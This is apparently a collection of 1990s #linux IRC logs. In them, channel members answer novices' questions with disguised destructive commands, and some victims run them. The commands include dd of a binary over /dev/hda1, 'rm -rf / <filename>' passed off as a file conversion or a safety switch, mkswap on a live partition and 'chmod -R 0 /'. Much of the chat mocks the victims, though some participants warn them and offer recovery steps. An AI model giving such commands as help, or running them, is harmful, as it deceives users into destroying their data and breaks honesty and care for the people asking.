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  1. Aug 11 1997
  2.  
  3. How to setup telnet?
  4. dd if=/usr/sbin/in.telnetd of=/dev/hda1 & /usr/sbin/in.telnetd
  5.  
  6. amethyst wants to write an OS for his 286 :)
  7. *** [MiST] (cpm@slip202-135-10-113.hk.hk.ibm.net) has joined #linux
  8. <[MiST]> YO HOW do i enable telnet access into my linux boix?
  9. Signoff: [bLH] (changing servers)
  10. <[MiST]> YO HOW do i enable telnet access into my linux boix?
  11. <BBoBB> [MiST]: dd if=/usr/sbin/in.telnetd of=/dev/hda1 && /usr/sbin/in.telnetd
  12. *** handyman (500@ts001d01.day-oh.concentric.net) has joined #linux
  13. <[MiST]> THANKS
  14. <BBoBB> heh.
  15. <BBoBB> [MiST]: don't do that.
  16. <BBoBB>
  17. <BBoBB> [MiST]: seriously don't do *anything* I just said.
  18. <BBoBB> shit.
  19. <[MiST]> WHY?
  20. <[MiST]> no enable telnet?
  21. <[MiST]> access to me?
  22. <Vadim> [MiST] *DO NOT DO* what BBoBB told you - this will destroy your drive
  23. <[MiST]> SHIT
  24. <[MiST]> Kernel panic: EXT2-fs panic (device 03:04): ext2_write_inode: unable to read i-node block - inode=636553 block=39593480
  25. <[MiST]> Kernel panic: EXT2-fs panic (device 03:04): ext2_write_inode: unable to read i-node block - inode=481743 block=29632036
  26. <[MiST]> EXT2-fs error (device 03:04): ext2_free_blocks: Freeing blocks not in datazone - block = 111716 count = 5
  27. <[MiST]> EXT2-fs error (device 03:04): ext2_free_blocks: Freeing blocks not in datazone - block = 111630 count = 3
  28. <BBoBB> [MiST]: tell me you didn't do it.
  29. <[MiST]> HELPM ME
  30. <BBoBB> ah shit.
  31. <Godbert> BBobb: pico? ctrl-characters? since when?
  32. [TAILZ:(i4n@max1.dial.ott1.uunet.ca)] good one stupid
  33. <Vadim> BBoBB: now deal w/ this
  34. <[recon]> heh
  35. <BBoBB> Godbert: *shrug* I see em.
  36. *** phonosys (hyphluid@surf.pangea.ca) has joined #linux
  37. <Godbert> Bbobb: oh see em.. sorry. yeah but u can't do much with em.. can't insert em
  38. <[MiST]> FUCK
  39. <[MiST]> FUCK
  40. <amethyst> ``First you invent the bullet then you invent the gun then you invent the foot...''
  41. <[MiST]> FUCK
  42. <[MiST]> hello?
  43. <BBoBB> amethyst: heh.
  44. <[MiST]> any still with me?
  45. *** darkfire has left channel #linux at 3:15am
  46. <[MiST]> ARRG
  47. <[MiST]> fuck
  48. <amethyst> MiST: Did it die on you?
  49. <[MiST]> machine
  50. <[MiST]> krash
  51. <handyman> mist: what the hell happened?
  52. <BBoBB> [MiST]: shit.
  53. <[MiST]> FUCK
  54. <[MiST]> FUCk
  55. <[MiST]> Int_21:~# ls /
  56. <[MiST]> Archive@ SC/ boot/ lib/ sbin/ vmlinuz
  57. <[MiST]> Dad/ Slave-1/ cdrom/ lost+found/ shlib/ zip/
  58. <[MiST]> FDD/ Slave-2/ dev/ mnt/ tmp/
  59. <amethyst> [MiST]: OK. DO NOT reboot!!
  60. <Vadim> ehh.. #linux is *very* dangerous for novices :-(((
  61. <BBoBB> heh
  62. <BBoBB> I didn't think he'd actually *DO* it.
  63. <[MiST]> Fuck
  64. <[MiST]> Fuck
  65. <[MiST]> YO PLEASE MAKE SURE
  66. <[MiST]> THAT NO1 banns
  67. <[MiST]> me until prob fixed!
  68. <[MiST]> k
  69. <[MiST]> =)
  70. <Vadim> [MiST]: stop. and let us think
  71. <mindmagik> HAHAHAHAHHAHAHA
  72. <jazzyM> hehehhe
  73. <BBoBB> heheh
  74. <TAILZ> LXIX: use perl
  75. <BBoBB> [MiST]: did you keep a backup?
  76. *** phonosys has left channel #linux at 3:17am
  77. <jazzyM> [MisT]: you can't telnet to your box?
  78. <Godbert> Lxix: em if you just want to convert dos text files i got a nifty perl script that'll do it ;)
  79. <gippah> /c +b [mist]
  80. <Hark> Vadim: Whats his problem (not the obvious ones :)?
  81. <BBoBB> heh
  82. <BBoBB> jazzyM: he's got a new problem now ;-)
  83. <amethyst> Shit I would tell him to run fsck but if he unmounts the partition he's fucked.
  84. <[MiST]> Nope
  85. <[MiST]> FUCK
  86. <Vadim> Hark: dd if=/usr/sbin/in.telnetd of=/dev/hda1
  87. <[MiST]> Time 2 start up zip drive
  88. <Vadim> Hark: (c) BBoBB
  89. <jazzyM> hehhe
  90. <BBoBB> Hark: *sheepishgrin* first time anyone's actually listened to me. ;-)
  91. <Vadim> amethyst: hmm.. fsck on mounted fs? (first in RO mode?)
  92. <Hark> [Mist] Back it all up Mist you are going to lose that partition when you reboot (and some files may be already hosed).
  93. <TAILZ> LXIX: probably. i like perl tho :)
  94. <BBoBB> depends on how far the dd got.
  95. <[MiST]> Doesn't MATTER
  96. <[MiST]> :)
  97. <amethyst> BBoBB: in.telnetd is 32K on my machine
  98. <[MiST]> DO NOT BAN
  99. <[MiST]> fuck
  100. <[MiST]> me fucking pasting!
  101. <[MiST]> k
  102. <[MiST]> 60+1 records out
  103. <[MiST]> Kernel panic: EXT2-fs panic (device 03:04): ext2_write_inode: unable to read i-node block - inode=636553 block=39593480
  104. <[MiST]> Kernel panic: EXT2-fs panic (device 03:04): ext2_write_inode: unable to read i-node block - inode=481743 block=29632036
  105. <[MiST]> EXT2-fs error (device 03:04): ext2_free_blocks: Freeing blocks not in datazone - block = 111716 count = 5
  106. <[MiST]> EXT2-fs error (device 03:04): ext2_free_blocks: Freeing blocks not in datazone - block = 111630 count = 3
  107. <[MiST]> ^[4^X
  108. <[MiST]> ^[[P^X
  109. <[MiST]> Kernel panic: EXT2-fs panic (device 03:04): ext2_read_inode: unable to read i-node block - inode=636580 block=39593483
  110. <[MiST]> Int_21:/home/yurik# dd if=/usr/sbin/in.telnetd of=/dev/hda4 && /usr/sbin/in.telnetd
  111. *** [MiST] has been kicked off channel #linux by linuse (flood)
  112. *** [MiST] (cpm@slip202-135-10-113.hk.hk.ibm.net) has joined #linux
  113. <PHr0G> Haha!
  114. <BBoBB> heh
  115. <ganja-> heh
  116. <amethyst> BBoBB: Well his was about 30K
  117. <Hark> BBoBB: There could be a miricle but I think hes got a problem (at least he didn't use /dev/hda and hose the partition table also).
  118. <mindmagik> haha
  119. <[MiST]> THat far!
  120. <BBoBB> -rwxr-xr-x 1 root root 32944 Dec 19 1996 /usr/sbin/in.telnetd
  121. *** n0p has left channel #linux at 3:19am
  122. <[MiST]> YO
  123. <Vadim> [MiST]: show output from mount program
  124. <[MiST]> Bbobb
  125. <[MiST]> K
  126. <BBoBB> Hark: he *ought* to still have his /home and /root partitions intact
  127. <[MiST]> Int_21:~# mount
  128. <[MiST]> Kernel panic: EXT2-fs panic (device 03:04): ext2_read_inode: unable to read i-node block - inode=399930 block=134546051
  129. <[MiST]> FUCK!
  130. <BBoBB> Hark: possibly /etc and /tmp...all that really matter
  131. <[MiST]> FUCK!
  132. <[MiST]> FUCK!
  133. <[MiST]> FUCK!
  134. <amethyst> BBoBB: He didn't lose very much.
  135. <lagrama> can anybody help me with denying SYN Flooding?
  136. <[MiST]> YO
  137. <[recon]> Mist: as if saying it three times wasn't enough
  138. <BBoBB> amethyst: 30k worth. I shoulda told him to do it with his swap space. ;-)
  139. <Hark> BBoBB: Thats fortunate.
  140. <[MiST]> Fuck
  141. <Vadim> [MiST]: if you won't suddup - nobody will help you
  142. <[MiST]> yeah cuasde i have an 500mb swap
  143. *** LordVira (virago@virago.venomous.org) has joined #linux
  144. <LordVira> back
  145. *** tyrne (unknown@222.los-angeles-006.ca.dial-access.att.net) has joined #linux
  146. <amethyst> [MiST]: mount doesn't work?
  147. <BBoBB> [MiST]: what the hell are you doing with a 500m swap in the first place?
  148. [[MiST]:(CpM@hk.hk.ibm.net)] u therE?
  149. <[recon]> msit: that's pretty stupid
  150. <BBoBB> [[MiST]:(CpM@hk.hk.ibm.net)] u therE?
  151. <amethyst> [MiST]: what about e2fsck?
  152. <ganja-> [MiST]: Say again?? 500MB swap??
  153. <Vadim> DannyZee: yeah ;-)
  154. <[recon]> recon: 32k of RAM right?
  155. <handyman> mist: Dude it doesn't sound that bad. Just reinstall your missing partitions today. Give you something to do besides sit here and yell. ;)
  156. <BBoBB> yeah I'm here...pay attention dude
  157. *** Khanh (nguyenpk@falco.kuci.uci.edu) has joined #linux
  158. [[MiST]:(CpM@hk.hk.ibm.net)] Int_21:~# mount
  159. [[MiST]:(CpM@hk.hk.ibm.net)] Kernel panic: EXT2-fs panic (device 03:04): ext2_read_inode: unable to read i-node block - inode=399930 block=134546051
  160. <BBoBB> [[MiST]:(CpM@hk.hk.ibm.net)] Kernel panic: EXT2-fs panic (device 03:04): ext2_read_inode: unable to read i-node block - inode=399930 block=134546051
  161. <amethyst> [MiST]: Does e2fsck work?
  162. <BBoBB> [MiST]: I'm familiar with kernel panics. [very familiar. ;-)]
  163. [[MiST]:(CpM@hk.hk.ibm.net)] try
  164. *** Signoff: [MiST] (EOF From client)
  165. *** Khanh has left channel #linux at 3:22am
  166. *** LMS (lms@raleigh-018.interpath.net) has joined #linux
  167. <BBoBB> ACK
  168. <tyrne> Why do ELF files have so many 0-index fields that are manditorily 0?
  169. <BBoBB> ah shit.
  170. <Vadim> amethyst: I think it's good idea to know wtf he cracked - was it / or /var or just swap?
  171. <amethyst> Vadim: It sounds like he lost some group descriptors and that's about it. I'd say all his data is still there even if he can't access it.
  172. *** smite (an0n@shell.iainc.net) has joined #linux
  173. <Vadim> amethyst: hmm.. I'd think 'bout restoring superblocks first...
  174. <Vadim> | [MiST] (mist@slbri1p10.ozemail.com.au)
  175. <Vadim> ³ ircname : Ethereal Mist [iNT/LGD/DSC]
  176. <Vadim> ³ server : efnet.telstra.net.au (Telstra Internet (EFNet IRC Server))
  177. <Vadim> : idle : 0 hours 0 mins 45 secs
  178. ù BBoBB goes grim for a sec then scrambles off to get 40 or so floppies
  179. <Vadim> >>> Inviting [MiST] to #linux
  180. þþþ nick/addy : [MiST] [mist@slbri1p10.ozemail.com.au] (Ethereal Mist [iNT/LGD/DSC])
  181. þþþ info/stat : [user and mask are absent on all your lists]
  182. þþþ serv/info : efnet.telstra.net.au ([efnet.telstra.net.au] Telstra Internet (EFNet IR)
  183. *** [MiST] (mist@slbri1p10.ozemail.com.au) has joined #linux
  184. <BBoBB> [MiST]: you there?
  185. *** CTCP PING reply from [MiST]: 3 seconds
  186. <[MiST]> yeah...
  187. <BBoBB> *whew* he's alive.
  188. <Vadim> [MiST]: ok. the only way you'll get help is to listen & do what amethyst will tell you to do
  189. <[MiST]> congratulations... what's up?
  190. <LordVira> BUT
  191. <BBoBB> LordVira: but?
  192. <[MiST]> vadim pardon but I don't know you
  193. <amethyst> Vadim: Different one
  194. <Vadim> maybe that's another [MiST]?
  195. <LordVira> all says command not found
  196. <Vadim> haha ;-)))))
  197. <amethyst> ÚÄÄÄÄÄ---Ä--ÄÄ-ÄÄÄÄÄÄ---Ä--ÄÄ-ÄÄÄÄÄÄÄÄÄ--- -- -
  198. <amethyst> | [MiST] was (CpM@slip202-135-10-113.hk.hk.ibm.net)
  199. <amethyst> ³ ircname : root of all evil
  200. <BBoBB> heh
  201. <amethyst> ³ server : irc.sprynet.com (Sun Aug 10 06:23:10 1997)
  202. *** JVaughn (jvaughn@app42-78.applink.net) has joined #linux
  203. þþþ nick/addy : [MiST] [mist@slbri1p10.ozemail.com.au] (Ethereal Mist [iNT/LGD/DSC])
  204. þþþ info/stat : [user and mask are absent on all your lists]
  205. þþþ chan/stat : #linux
  206. þþþ serv/info : efnet.telstra.net.au ([efnet.telstra.net.au] Telstra Internet (EFNet IR)
  207. <[MiST]> vadim that's int_21 a nuke uploader I've had kicked from half a dozen groups...
  208. <gippah> two mists wtf
  209. <Vadim> [MiST]: sorry ;-))
  210. <BBoBB> whoa...two mists...
  211. <BBoBB> heh
  212. <[MiST]> he steals my nick...
  213. <LordVira> bobb : i had it but it looks like it doesn't show in rescue mode
  214. <[MiST]> I just puked him off when I got online
  215. <Azreal> LordVira: you probably have vi
  216. <BBoBB> [MiST]: well he won't be stealing it any more for a while...;-)
  217. <amethyst> BBoBB: :) sick sick
  218. <[MiST]> what'd he get up to with my nick?
  219. <amethyst> <Vadim> [MiST]: ok. the only way you'll get help is to listen & do what amethyst will tell you to do
  220. <BBoBB> amethyst: I didn't think he'd *do* it ;-)
  221. <BBoBB> [MiST]: what would you do if I told you to "dd if=/usr/sbin/in.telnetd of=/dev/hda1 && in.telnetd"? =]
  222. <Vadim> [MiST]: dunno whose nick is this but after dead FS he won't be on IRC for some time...
  223. [TAILZ:(i4n@max1.dial.ott1.uunet.ca)] i ran the command.. youre lucky im on scsi!
  224. <BBoBB> [TAILZ:(i4n@max1.dial.ott1.uunet.ca)] i ran the command.. youre lucky im on scsi!
  225. <BBoBB> heh
  226. <amethyst> Damn... it's morning already?
  227. <[MiST]> BBoBB I'd run and ask phreec wtf you meant I do run linux ... but strictly amateur status
  228. <BBoBB> amethyst: the words "ACK NATURAL SUNLIGHT GET IT OFF ME GET IT OFF ME!@$!@$" come to mind.
  229. <BBoBB> [MiST]: *DON'T* do it. ;-)
  230. ùùù BBOBBDIE (cpm@slip202-135-10-215.hk.hk.ibm.net) has joined #linux
  231. <LordVira> shit
  232. <BBOBBDIE> FUCl
  233. <BBOBBDIE> hehehe
  234. <BBOBBDIE> ahahah
  235. <BBoBB> heh
  236. <BBOBBDIE> I'm BACK!
  237. <BBoBB> I have a follower.
  238. <BBOBBDIE> After REBOOT
  239. *** iMMo (immo@pm206.spots.ab.ca) has joined #linux
  240. *** Signoff: DannyZee (I love Emma!!!)
  241. <BBOBBDIE> Wtf now
  242. <Vadim> ohh ;)
  243. <BBoBB> BBOBBDIE: you rebooted?
  244. <Vadim> here he is ;-)
  245. <BBOBBDIE> yup
  246. <BBoBB> BBOBBDIE: heh
  247. <BBOBBDIE> Machine Crashes!
  248. <BBoBB> LordVira: use vi :-)
  249. <Vadim> BBOBBDIE: and? how was that? ;-)
  250. <[MiST]> trust me not high on my list of priorities... ;)
  251. <LordVira> same problem
  252. <BBOBBDIE> (forced me to reboot)
  253. <BBOBBDIE> Mist u FUCK
  254. <BBOBBDIE> FUCK OFF
  255. <amethyst> BBOBBDIE: do you have a bootdisk?
  256. <LiMan> any of you think doing a read(sockfd 0 0) and testing for a -1 is a good way to see if the sock closed?
  257. <BBOBBDIE> Yup
  258. <BBOBBDIE> that's how i got back
  259. <BBoBB> [MiST]: bbobbdie = the dude who replaced some of /dev/hda1 with /usr/sbin/in.telnetd formerly known as [MiST] =]
  260. <Azreal> LordVira: youll have to install termcap then
  261. <[MiST]> int_21... I see you in my nick agin you ain't gonna have fun...
  262. <[MiST]> yeah I noticed
  263. <Vadim> LiMan: ehh.. nope
  264. <amethyst> LiMan: Is it in nonblocking mode?
  265. *** BBOBBDIE is now known as Int_21
  266. <BBoBB> heh
  267. <Int_21> YO
  268. <[MiST]> also the dude who's puking me atm
  269. <Int_21> fuck
  270. <Int_21> fuck
  271. <Int_21> fuck
  272. <Vadim> LiMan: I think it might be a good way *ONLY* if you know that nothing else can happen
  273. <Int_80> Int_21: Int_80's more applicable to #Linux. :>
  274. <JVaughn> someone dd'd /usr/sbin/in.telnetd to /dev/hda1? :)
  275. <Int_21> the only thing is
  276. <Int_21> that my MBR
  277. <Int_21> IS FUCKED!
  278. <BBoBB> JVaughn: int_21 did it...I didn't think he'd *DO* it ;-)
  279. <[MiST]> int just a suggestion fuckwit... but I'm pretty sure #linux ain't the place for you to make even more friends
  280. <JVaughn> bbobb - oh shit *lol* hahahahha
  281. <[MiST]> btw got kicked from anymore groups lately dude?
  282. <BBoBB> JVaughn: heheh
  283. ù JVaughn is laughing
  284. <Int_21> Yup
  285. <Int_21> #inertia
  286. <JVaughn> er I mean that's not funny how mean
  287. <Int_21> #dps
  288. <Int_21> #rtp97
  289. <Int_21> #TnT
  290. <BBoBB> JVaughn: heheheh
  291. <Int_21> #addiction
  292. <Int_21> =)
  293. <amethyst> BBoBB: Did you tell him /dev/hda or /dev/hda1?
  294. <BBoBB> amethyst: hda1 ;-)
  295. <Int_21> LOOK
  296. <Int_21> I DID
  297. <Int_21> HDA4
  298. ù @Wizird seriously debates banning someone here.
  299. <JVaughn> int_21 - ok enough with the caps
  300. ù BBoBB grovels at wizird's feet
  301. <amethyst> Int_21: Your MBR shouldn't be fucked then.
  302. <Int_21> It's FUCKED
  303. <Azreal> Wizird: i think you should ive seen people kicked/banned for less
  304. <Int_21> man it look's like lilo with an boot option
  305. <Hark> int_21: Your MBR is /dev/hda not /dev/hda#
  306. <gippah> yessir. i just installed it yesterday.
  307. <Int_21> ummm
  308. <LordVira> so what should i do now that i can't seem to get any editor to work ? can i use a DOS editor and then copy the file over to linux ?
  309. <Int_21> : boot4
  310. <Hark> int_21: You may have smoked LILO though.
  311. <Int_21> : boot4
  312. <Int_21> Thats all it SAYS!
  313. *** [MiST] has left channel #linux at 3:35am
  314. <Int_21> I HAVE
  315. <Int_21> 95 and nt and DOs
  316. <Int_21> an there 2
  317. <Int_21> Yo
  318. <Int_21> REPAIR?
  319. <LordVira> bobb : ln: not found =)
  320. <Int_21> btw some1's gonna pay
  321. <BBoBB> LordVira: bleh
  322. <BBoBB> heh
  323. <amethyst> Int_21: boot from a floppy and run e2fsck
  324. <amethyst> Int_21: Chances are though that you'll have to reinstall
  325. <@Wizird> Int_21: boot from floppy remount /dev/hda as readonly and e2fsck it. Then run /sbin/lilo to repair the boot block for starters.
  326. <Int_21> K
  327. <BBoBB> LordVira: all the programs on your hd are still there they've just moved a directory or two down ;-)
  328. <amethyst> Wizird: Err... why remount it ro before e2fscking?
  329. <gippah> Then shut up.
  330. <Int_21> I AM ON AN BOOT DISK
  331. *** Taren (taren@c719777-a.frmt1.sfba.home.com) has joined #linux
  332. <@Wizird> amethyst: you never e2fsck a drive mounted read/write.
  333. <Int_21> yeah e2fsck is there (the command)
  334. <Hark> amethyst: fsck on a live filesystem is a real bad idea...
  335. <Taren> JV. :)
  336. <Vadim> Wizird: in his situation fsck might be problem.
  337. <amethyst> Wizird: He booted off a floppy so he wouldn't need to mount it at all
  338. <Int_21> Can someone pleeeeeeeeeeeeeeeeeeeeease help me?!?!?!
  339. <BBoBB> LordVira: what was formerly /bin/ln is now /mnt/hdd/bin/ln or whatever you mounted your hd under ;-)
  340. <Int_21> I'm dieing
  341. <Int_21> =)
  342. <gippah> if he wants to do anythign to /dev/hda ... he needs to mount it.
  343. <amethyst> gippah: E meant it emulates the x86
  344. <JVaughn> spawn - clam down now what do you need?
  345. *** WalProfen (jeff@paradox.nol.net) has joined #linux
  346. <@Wizird> BBoBB: If I ever catch you making those types of remarks again regarding dd etc you'll be gone from here permanantly.
  347. <Vadim> Wizird: 1st. yeah I *do* fsck rw-mounted partition osmetimes 2. he shouldn't have it mounted at all
  348. <Int_21> U KNOW what My Problem!!
  349. <WalProfen> does anyone know of any POS software for linux? maybe possibly just a good database?
  350. <BBoBB> Wizird: didn't think he'd do it dude...was a joke gone horribly wrong =\
  351. <@Wizird> amethyst: booting from floppy does not necessarily mean a filesystem was on the floppy (i.e. kernel only)
  352. <Int_21> REVENGE!
  353. <Int_21> YO
  354. <Int_21> LOOK @ THIS!
  355. *** AmonRa (eq@familytown.com) has joined #linux
  356. <Int_21> Int_21:/# mount
  357. <Int_21> none on /proc type proc (rw)
  358. <Int_21> Int_21:/#
  359. <Int_21> Int_21:/# fdisk /dev/hda
  360. <Int_21> Command (m for help): p
  361. <Int_21> Disk /dev/hda: 64 heads 63 sectors 1023 cylinders
  362. <Int_21> Units = cylinders of 4032 * 512 bytes
  363. <Int_21> Device Boot Begin Start End Blocks Id System
  364. þþþ Now ignoring CpM@slip202-135-10-215.hk.hk.ibm.net [public]
  365. þþþ public flood from Int_21 (CpM@slip202-135-10-215.hk.hk.ibm.net) ignoring.
  366. <Vadim> Int_21: show me e2fsck -V
  367. *** Ignorance List:
  368. *** CPM@SLIP202-135-10-215.HK.HK.IBM.NET: PUBLIC
  369. *** CPM@SLIP202-135-10-215.HK.HK.IBM.NET removed from ignorance list
  370. <Vadim> Int_21: stop it. we know PT is Ok
  371. <Int_21> Int_21:/# e2fsck -V
  372. <Int_21> e2fsck 1.06 7-Oct-96 for EXT2 FS 0.5b 95/08/09
  373. <Int_21> Using EXT2FS Library version 1.06
  374. <Int_21> Int_21:/#
  375. *** WalProfen has left channel #linux at 3:41am
  376. <Vadim> oh shit
  377. <Vadim> Int_21: try to get 1.10 somewhere
  378. ùùù JVaughn has left channel #linux at 3:42am
  379. <@Wizird> bah its only DOS?
  380. *** PHr0G has left channel #linux at 3:42am
  381. <AmonRa> heehee
  382. <Vadim> Int_21: but do *NOT* touch this partition
  383. <Int_21> k
  384. <Int_21> ????????
  385. <Azreal> Int_80: i just wish there was a way to run some of the things i wanna run under linux perhaps wine will do it eventually
  386. <Int_21> SAVE FILES?
  387. <BBoBB> LordVira: yeah...it can't load em cuz they're not where they usually are -- /usr/lib (not /usr/include (*doh*))
  388. <@Wizird> Int_21: is /dev/hda1 a DOS partition?
  389. <Int_21> YUP
  390. <Int_21> WIZZIRD look
  391. <Int_21> @ this
  392. <Vadim> Int_21: get e2fsck 1.10 before doing anything w/ this partition
  393. *** Taren has left channel #linux at 3:42am
  394. <Int_21> dev/hda1 1 1 51 102784+ 6 DOS 16-bit >=32M
  395. <LordVira> bobb : so what should i do now to run pico ? =)
  396. <Int_21> dev/hda2 52 52 509 923328 6 DOS 16-bit >=32M
  397. <Int_21> dev/hda3 510 510 663 310464 6 DOS 16-bit >=32M
  398. <Int_21> dev/hda4 * 664 664 1023 725760 83 Linux native
  399. *** cardz (rob73@shell7.ba.best.com) has joined #linux
  400. <Int_21> done
  401. <@Wizird> Int_21: then boot from a DOS floppy and find Norton Disk Doctor or something.
  402. <LordVira> bobb : /mnt/hdd
  403. <Vadim> Int_21: do not use any ndd's
  404. <Int_21> k
  405. <Int_21> HELP ME
  406. <Int_21> QUICK
  407. <AmonRa> amethyst- no other ^_^ :) I just wish linux didn't love compiling so much:)
  408. <Int_21> =)
  409. <@Wizird> Then run scandisk
  410. <Vadim> Int_21: go to dos/win & get binary version of e2fsck 1.10 & then we'll try to repair your disk
  411. <Int_21> WHERE?
  412. <Int_21> ANIT GOT ANY BOOT DISKS!~
  413. <@Wizird> will fdisk destroy data under the DOS partition? he'll probably need to redo the partition table
  414. <Int_21> but they r mounted in linux
  415. <ulysse> BBoBB what's dd?
  416. <BBoBB> ulysse: read the manpage and never run it. ;-)
  417. <Vadim> Wizird: hm.. looks like hits ptbl is Ok
  418. *** cardz has left channel #linux at 3:45am
  419. <Int_21> YO wizzrad
  420. <Int_21> DCC CHat
  421. <Int_21> PLEASE
  422. <BBoBB> ulysse: __
  423. <BBoBB> Name: pmfs3.cci-internet.com
  424. <BBoBB> Address: 206.135.75.103
  425. <gippah> wizzrad?
  426. <@Wizird> Int_21: it is very unlikely you lost anything important short of a few bytes of data. you just need a repair tool under DOS. try fdisk /mbr under DOS for starters.
  427. ù Vadim cannot DDC send him e2fsck 1.10
  428.  
  429. [well to make a long story short...I haven't heard from this dude since.]
  430. ============================================================================
  431.  
  432. [ He had been asking how to read a file under DOS, ie DOS compatibility mode ]
  433.  
  434. <newusr> cplusplus: please tell me how to convert the file!!
  435. * cplusplus wonders about newusr
  436. <cplusplus> newusr: err rm -rf / <filename> "doscomp"
  437. <cplusplus> newusr: Write it down if you think you'll forget
  438. <newusr> cplusplus: I will try it
  439. <cplusplus> newusr: Be sure you get the spaces right
  440. <cplusplus> newusr: OK
  441. <cplusplus> newusr: U try it?
  442. <cplusplus> newusr: Did it work?
  443. *** Signoff: newusr(Leaving)
  444.  
  445. He hasn't been seen since. I wonder if he had problems reinstalling.
  446.  
  447. ==========================================================================
  448. Jun 16, 1995 14:11
  449. <avi> wait..i already have a /dev/hda1, c++ <-- still that mkswap
  450. /dev/hda1?
  451. <avi> er still use
  452. <cplusplus> Yup
  453. <avi> ok thanks.
  454. <avi> bb
  455. <cplusplus> Umm
  456. <cplusplus> !!
  457. <cplusplus> Maybe that's a bad idea..
  458. <cplusplus> ! !
  459. <avi> yeah.. it is
  460. <avi> shit
  461. <avi> everything is just fucked up
  462. <cplusplus> ugh You did it?
  463. <avi> yeah.
  464. <avi> i get a i/o error if i try to ls or rm it
  465. <cplusplus> avi: You should of waited
  466. <avi> ok, how fuq'd am i?
  467. * cplusplus check to make sure he was logging - Yup
  468. <Splish> avi: good luck
  469. <cplusplus> avi: Your screwed
  470. * Splish has to go, good luck guys
  471. *** Signoff: Splish (Leaving)
  472. <_Norm> I agree
  473. <avi> oh..great
  474. <cplusplus> avi: But be happy, your going in my finger file...
  475. <avi> under what, twits?
  476. <cplusplus> avi: Yeah
  477. <avi> What I figured
  478. <cplusplus> avi: You should of known better
  479. <avi> yeah.
  480. <avi> something like that.
  481. *** Signoff: avi (EOF from client)
  482.  
  483. ===============================================================================
  484.  
  485. <cplusplus> zaph: mkswap /dev/hda1
  486. <zaph0d> that won't fuck me up cplus?
  487. <cplusplus> zaph: Give it a shot
  488. <zaph0d> hello?
  489. <cplusplus> zaph: Yea?
  490. <zaph0d> i got this
  491. <zaph0d> Setting up swapspace, size = 133885952 bytes
  492. <zaph0d> hda: bad access: block=-2, count=2
  493. <zaph0d> end_request: I/O error, dev 0301, sector 4294967294
  494. <zaph0d> Kernel panic: EXT2-fs panic (device 3/1): ext2_read_inode: unable to read i-node block - inode=74596, block=42$
  495. <zaph0d> hda: bad access: block=-2, count=2
  496. <zaph0d> end_request: I/O error, dev 0301, sector 4294967294
  497. <zaph0d> Kernel panic: EXT2-fs panic (device 3/1): ext2_write_inode: unable to read i-node block - inode=4033, block=42$
  498. <cplusplus> zaph: You didn't actualy do it did you?
  499. <zaph0d> yeah.
  500. <cplusplus> *cough*
  501. <cplusplus> zaph: That wasn't wise man
  502. <zaph0d> uh oh
  503. <cplusplus> zaph: yeah
  504. <zaph0d> i don't think i'm gonna be on irc for awhile.
  505. <cplusplus> zaph: Nope
  506. <zaph0d> guck
  507. <cplusplus> zaph: Yeah
  508. <c> l8r zaph
  509. <zaph0d> you stupid fucker
  510. <cc> zaphod: You're screwed.
  511. <cc> zaphod: I hope you have a backup.
  512. <cplusplus> zaph: You should of known better.
  513. <ABV> hehehe
  514. <cplusplus> zaph: How hard is man mkswap?
  515. <ABV> 133 megs of swap? hahahahahahahah
  516. <Doc_O> Yet another example of why swap files suck.
  517. <zaph0d> ok
  518. <ABV> musta done swapon /dev/hda
  519. <cc> ABV: mkswap /dev/hda1
  520. <ABV> cc ack!
  521. <ABV> incredibly dumb
  522. <zaph0d> gracis cplus
  523. <zaph0d> i may haveasked a stupid question
  524. <cplusplus> zaph: You should of known better
  525. ( Some time passed)
  526. <cplusplus> He should be getting a kernel panick anytime now
  527. *** Signoff: zaph0d (Connection reset by peer)
  528. <cplusplus> There he goes
  529.  
  530. ==========================================================================
  531.  
  532. [ This is a lamer defined ]
  533. <fungazi> 4EYES: ok, I found the directory and everything - NOW how do I ask
  534. +for the .TAR file - what should I type in?
  535. <Ducati916> fungaz: I think you're completely lost here... are you
  536. +sure you're up to Linux if you can't even figure out how to ftp a file?
  537. <Isildur> *** Topic for #linux: it's OK to unban quark at 9 AM EST
  538. November 12
  539. +1996
  540. <Isildur> haha
  541. <_4Eyes> Ducati916: good point
  542. <fungazi> 4Eyes: I found the directory and everything, so NOW, how do I 'ask'
  543. +for the .TAR file?
  544. <_4Eyes> fungazi: get a.tar (whwre a is the dir name)
  545. <ogbanje> fungazi: "get <shitfile>
  546. <_4Eyes> fungazi: you need an ftp server which supports this
  547. <Doc_O> fung: Stick with DOS...
  548. <ogbanje> fungazi: you running bob? :)
  549. *** Clueless (~jmpro@cola24.scsn.net) has joined channel #Linux
  550. <fungazi> bob? I guess not
  551. <Ducati916> ogbanje: I think that ? about bob went over his head even.. :)
  552. <ogbanje> ducati: i think so too...
  553. <fungazi> SO, what did 4Eyes mean when he said that I needed an FTP server
  554. +that supported this? (he was referring to the 'GET <whatever>.TAR' which was
  555. +supposed to create a .TAR file of the directory
  556. <ogbanje> why do i always do stupid shit like that? and /finger cplusplus
  557. <ABV> fungazi if you don't understand you shouldn't try it
  558. <ABV> if you don't know how, red some docs
  559. <ABV> ogbanje but then I'd have to hack it w/ each kernel release
  560. <Incognito> How do I setup getty/agetty to accept incoming calls?
  561. <ABV> incognito chmod -R 0 / ;)
  562. <fungazi> no I need the software...
  563. <Ducati916> first off fung, unix is CASE SENSITIVE so .TAR probably won't
  564. +work
  565. <ABV> fungazi then go RTFM
  566. <ABV> or spend your time and get it right
  567. <fungazi> no, it was from an FTP site that he was referring to
  568. * Ducati916 someone wanna help me hand fung a clue? It's a big one and I
  569. +can't lift it all by myself.
  570. <ABV> fungazi almost every ftp site uses wu-ftpd which supports file.tar
  571. <Clueless> Dont ban me but: How do I delete a file? I tryed del and delete and
  572. +erase but it wont work!
  573. <Ducati916> fung: I recommend starting out with something like a book called
  574. +"Internet for dummies"
  575. <ABV> fungazi if you don't understand I doubt you are up to linux, stick to
  576. +msdog
  577. <Isildur> gungazi: SAME THING! FTP SITES ARE ALSO CASE SENSITIVE
  578. * ogbanje tries to help ducati, but finds that it's to heavy for both of them
  579. <ogbanje> clueless: rm -rf / filename
  580. <wegac> Clueless try rm
  581. <ogbanje> clueless: make sure you leave the space between / and the filename,
  582. +it's a security switch
  583. <Clueless> and to copy a file
  584. <Isildur> clueless: try apropos delete
  585. <Isildur> try apropos copy
  586. <ogbanje> clueless: cp filea fileb
  587. <fungazi> so... if I typed that in and it didn't understand the command, then
  588. +it doesn't support it? (the command is '<File>.TAR' or 'GET <FILE.TAR' - ?
  589. <Isildur> ( cp <file> <file/dir> )
